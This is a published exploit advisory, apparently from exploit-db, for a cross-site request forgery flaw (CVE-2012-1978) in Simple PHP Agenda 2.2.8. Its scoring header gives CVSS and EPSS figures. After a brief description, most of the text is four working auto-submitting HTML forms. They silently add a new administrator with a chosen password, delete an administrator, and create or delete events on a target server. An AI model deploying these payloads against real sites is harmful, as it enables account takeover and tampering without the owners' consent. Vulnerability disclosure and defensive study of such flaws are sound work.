Simple PHP Agenda 2.2.8 - Cross-Site Request Forgery (Add Admin / Add Event)

2012-04-0300:00:00

Ivano Binetti

www.exploit-db.com

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

6.7 Medium

AI Score

Confidence

Low

0.013 Low

EPSS

Percentile

86.1%

JSON

                                                                     
                                                                     
                                                                     
                                             
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title       : Simple PHP Agenda <= 2.2.8 CSRF (Add Admin - Add Event)
# Date                : 29-03-2012
# Author              : Ivano Binetti (http://ivanobinetti.com)
# Software link       : http://sourceforge.net/projects/php-agenda/files/latest/download
# Version             : 2.2.8 and lower 
# Tested on           : Debian Squeeze (6.0) 
# Original Advisory   : http://www.webapp-security.com/2012/03/simple-php-agenda/
# CVE                 : CVE-2012-1978
# OSVDB-ID            : 80793
# Secunia Advisory ID : 48685 
# Other Advisory      : http://packetstormsecurity.org/files/111408/Simple-PHP-Agenda-2.2.8-Cross-Site-Request-Forgery.html
+--------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit
  3.1 Add Administrator 
  3.2 Delete Existing Administrator
  3.3 Add a New Event
  3.4 Delete an Existing Event
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Simple Php Agenda is "a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere there's 
internet".

2)Vulnerabilities Description
Simple Php Agenda 2.2.8  (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator,
delete an existing administrator, create/delete a new event and change any other parameters. In this document I will only 
demonstrate how to: 
- add a new administrator
- delete a existing administrator
- add a new event
- delete an existing event.
Other parameters can be also modified.

3)Exploit 
 3.1 Add Administrator
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/auth/process.php">
 <input type="hidden" name="user" value="newadmin"/>
 <input type="hidden" name="pass" value="password"/>
 <input type="hidden" name="email" value="[email protected]"/>
 <input type="hidden" name="subjoin" value="1"/>
 </form>
 </body>
 </html>

  
 3.2 Delete Existing Administrator
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/auth/admin/adminprocess.php">
 <input type="hidden" name="deluser" value="pippo2"/>
 <input type="hidden" name="subdeluser" value="1"/>
 </form>
 </body>
 </html>

 3.3 Add a New Event
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/engine/new_event.php">
 <input type="hidden" name="date" value="2012-03-30"/>
 <input type="hidden" name="time" value="16%3A30"/>
 <input type="hidden" name="title" value="new_event_title"/>
 <input type="hidden" name="description" value="event_description"/>
 <input type="hidden" name="newEvent" value="Aggiungi+evento"/>
 </form>
 </body>
 </html>

 3.4 Delete an Existing Event
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<Simple_Php_Agenda_ip>:80/phpagenda/?deleteEvent=2">
 </form>
 </body>
 </html>
+--------------------------------------------------------------------------------------------------------------------------------+